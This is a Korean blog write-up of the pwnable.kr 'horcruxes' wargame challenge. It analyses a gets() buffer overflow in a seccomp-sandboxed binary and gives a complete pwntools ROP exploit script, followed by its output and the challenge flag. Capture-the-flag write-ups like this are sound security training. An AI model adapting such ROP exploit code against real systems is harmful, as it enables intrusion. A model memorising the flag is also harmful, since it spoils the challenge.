Write-up

[pwnable.kr] horcruxes write-up

ch4rli3kop 2019. 5. 1. 16:56
반응형

[pwnable.kr] horcruxes writeup


[summary] ROP
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)

뭔지는 모르겠는데 ROP 문제인 것 같다.

horcruxes@ubuntu:~$ cat readme 
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.

localhost 9032에 돌아가는 서비스를 대상으로 공격을 진행해야하는듯

대충 아래와 같이 동작하는 프로그램이다.

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!

Select Menu:0
How many EXP did you earned? : 1
You'd better get more experience to kill Voldemort

처음에 그냥 어셈블리로 분석하다가 seccomp가 나오길래 scp이용해서 바이너리 땡겨와서 IDA로 살펴봤다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int context; // ST1C_4

 setvbuf(stdout, 0, 2, 0);
 setvbuf(stdin, 0, 2, 0);
 alarm(0x3Cu);
 hint();
 init_ABCDEFG();
 context = seccomp_init(0);
 seccomp_rule_add(context, 2147418112, 173, 0);// sys_rt_sigreturn
 seccomp_rule_add(context, 2147418112, 5, 0);  // sys_open
 seccomp_rule_add(context, 2147418112, 3, 0);  // sys_read
 seccomp_rule_add(context, 2147418112, 4, 0);  // sys_write
 seccomp_rule_add(context, 2147418112, 252, 0);// sys_exit_group
 seccomp_load(context);
 return ropme();
}

seccomp를 사용해서 샌드박싱을 하는 걸 볼 수 있다. 디폴트 설정도 하고, sigreturn, open, read, write, exit_group만 화이트 리스트에 등록한다.

init_ABCDEFG()에서는 a, b, c, d, e, f, g 전역변수의 값을 랜덤으로 만들고, 해당 값들의 합을 sum에 저장한다.

unsigned int init_ABCDEFG()
{
 int v0; // eax
 unsigned int result; // eax
 unsigned int buf; // [esp+8h] [ebp-10h]
 int fd; // [esp+Ch] [ebp-Ch]

 fd = open("/dev/urandom", 0);
 if ( read(fd, &buf, 4u) != 4 )
{
   puts("/dev/urandom error");
   exit(0);
}
 close(fd);
 srand(buf);
 a = -559038737 * rand() % 0xCAFEBABE;
 b = -559038737 * rand() % 0xCAFEBABE;
 c = -559038737 * rand() % 0xCAFEBABE;
 d = -559038737 * rand() % 0xCAFEBABE;
 e = -559038737 * rand() % 0xCAFEBABE;
 f = -559038737 * rand() % 0xCAFEBABE;
 v0 = rand();
 g = -559038737 * v0 % 0xCAFEBABE;
 result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
 sum = result;
 return result;
}

본 바이너리에서는 이 ropme()가 핵심이다. Menu에서 입력한 값에 따라서 여러 함수들을 부르는데 여기서 호크룩스들 및 다음의 루틴과 연결된다. 부르는 함수들 중에는 A(), B(), C(), D(), E(), F(), G()가 존재하는데, 각 각 위의 init_ABCDEFG()에서 초기화한 값들을 출력한다.

  else
{
   printf("How many EXP did you earned? : ");
   gets(s);
   if ( atoi(s) == sum )
  {
     fd = open("flag", 0);
     s[read(fd, s, 0x64u)] = 0;
     puts(s);
     close(fd);
     exit(0);
  }
   puts("You'd better get more experience to kill Voldemort");
}

취약점은 우선 위의 gets()에서 buffer overflow가 발생한다. seccomp로 인해 바로 쉘을 딸 수는 없어, flag를 open, read, write 하는 payload를 구성하거나 코드의 가젯들을 사용하면 된다.

원래 바로 저 if 문 안으로 뛸 수 있을까 싶었는데, 하필 해당 코드 영역 주소에 0x0a가 포함되서 gets()로 입력 받을 때 payload가 끊긴다.

gets()는 stdin으로 0x0a 혹은 EOF를 받을 때까지 입력을 받는다.

같은 맥락으로 open@plt, read@plt, puts를 사용해서 payload를 구성하려 했는데, pop ret가젯 등을 이용해서 stack을 정리하려 하니 쓸만한 pop ret 가젯들 주소에 모두 0x0a이 들어가서 그냥 A(), B() ... G()를 모두 호출하여 exp를 구한 뒤 ropme()를 다시 호출해서 맞는 exp 값을 입력하기로 했다. ropme() 주소에 0x0a가 들어가서 난항을 겪기도 했는데, main()에서 call ropme()로 뛰면 해결된다.

Payload

# /usr/bin/python
from pwn import *

context.log_level='debug'

r = remote('127.0.0.1', 9032)
r.recvuntil('Select Menu:')
r.sendline("1")
r.recvuntil('How many EXP did you earned? : ')

payload = 'A'*0x78
payload += p32(0x809fe4b)
payload += p32(0x809fe6a)
payload += p32(0x809fe89)
payload += p32(0x809fea8)
payload += p32(0x809fec7)
payload += p32(0x809fee6)
payload += p32(0x809ff05)
payload += p32(0x0809fffc)

r.sendline(payload)

exp = 0

for i in range(7):
       r.recvuntil('EXP +')
       exp += int(r.recvline()[:-2])

r.recvuntil('Select Menu:')
r.sendline("1")
r.recvuntil('How many EXP did you earned? : ')
r.sendline(str(exp))

r.interactive()

Result

horcruxes@ubuntu:/tmp/charlie3$ python sol_horc.py 
[+] Opening connection to 127.0.0.1 on port 9032: Done
[*] Switching to interactive mode
Magic_spell_1s_4vad4_K3daVr4!


반응형

'Write-up' 카테고리의 다른 글

[securitytrap.pl] Exploit/Riddles The Truth writeup  (0) 2019.05.01
[pwnable.kr] unlink write-up  (0) 2019.05.01
[pwnable.kr] blukat write-up  (0) 2019.05.01
[Python Challenge] level 9  (0) 2019.04.13
[Python Challenge] level 8  (0) 2019.04.13